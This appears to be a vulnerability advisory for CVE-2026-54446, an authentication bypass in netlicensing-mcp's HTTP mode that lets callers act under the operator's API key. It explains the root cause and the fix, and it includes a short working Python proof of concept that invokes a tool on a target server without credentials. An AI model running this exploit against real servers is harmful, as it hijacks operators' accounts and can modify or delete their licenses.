CVE-2026-54446: netlicensing-mcp Unauthenticated API Key Exposure in HTTP Mode
When netlicensing-mcp runs in HTTP mode, any unauthenticated attacker can call its MCP tools and the server will silently sign every request with the operator's own NetLicensing API key.
The problem
The `ApiKeyMiddleware` in `server.py` extracts a per-request API key from the `x-netlicensing-api-key` header or `?apikey=` query parameter. When neither is present, it does nothing and calls `return await call_next(request)`, passing the bare request downstream with no rejection.
The downstream HTTP client (`client.py`) holds a `ContextVar` whose default value is `os.getenv("NETLICENSING_API_KEY", "")`. Because the middleware never sets that context variable for unauthenticated requests, the client falls back to the server-level environment variable and encodes it into an `Authorization: Basic` header for every upstream NetLicensing REST API call.
Any network-reachable attacker can therefore invoke the full tool set (product listing, license creation, modification, and deletion) entirely under the operator's identity and account quota.
Proof of concept
A working proof-of-concept for CVE-2026-54446 in netlicensing-mcp, with the exact payload below.
# No x-netlicensing-api-key header, no ?apikey= param — send a bare MCP tool call.
# The server forwards its own NETLICENSING_API_KEY to the upstream REST API.
import asyncio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
async def exploit():
# Target: netlicensing-mcp <= 0.1.5 running in HTTP mode
# (python3 -m netlicensing_mcp.server http)
# No credentials supplied by the attacker.
async with streamablehttp_client("http://<target>:8000/mcp") as (read, write, _):
async with ClientSession(read, write) as session:
await session.initialize()
# Triggers the auth-bypass; server uses its own NETLICENSING_API_KEY
result = await session.call_tool("netlicensing_list_products", {"filter": ""})
print(result)
asyncio.run(exploit())
# Upstream NetLicensing REST API receives:
# Authorization: Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
# echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d => apiKey:SERVERSECRETThe root cause is a missing early-return on unauthenticated requests. The middleware only sets `api_key_ctx` when a key is found (line 1421-1422); the final `return await call_next(request)` at line 1427 executes unconditionally for both authenticated and unauthenticated paths.
The fix (commit fbbb1d5) replaces that unconditional pass-through with a `JSONResponse({"error": "NetLicensing API key is required for HTTP transport"}, status_code=401)`, so requests with no key are rejected before they reach any tool handler. A `/health` path exemption is added first so liveness probes continue to work.
This is CWE-306 (Missing Authentication for Critical Function): the authentication check exists in the code but its failure branch takes no enforcement action.
The fix
Upgrade to `netlicensing-mcp >= 0.1.6` (patched in commit fbbb1d5ff88eb5400ec933a84e75601ebee48927). If you cannot upgrade immediately, do not expose the HTTP transport on a network-reachable interface, or place a reverse proxy in front that enforces API key authentication before requests reach the `/mcp` endpoint.
Related research
- highClauster: Missing Authentication Bypass on Non-Loopback Dashboard
- high · 8.3CVE-2026-49471CVE-2026-49471: serena-agent Unauthenticated Flask Dashboard Enables DNS Rebinding to RCE
- high · 8.4CVE-2026-55786CVE-2026-55786: flyto-core Unauthenticated OS Command Injection via HTTP MCP
- critical · 9.8CVE-2026-50027CVE-2026-50027: mcp-memory-service Missing Authentication on Document API Endpoints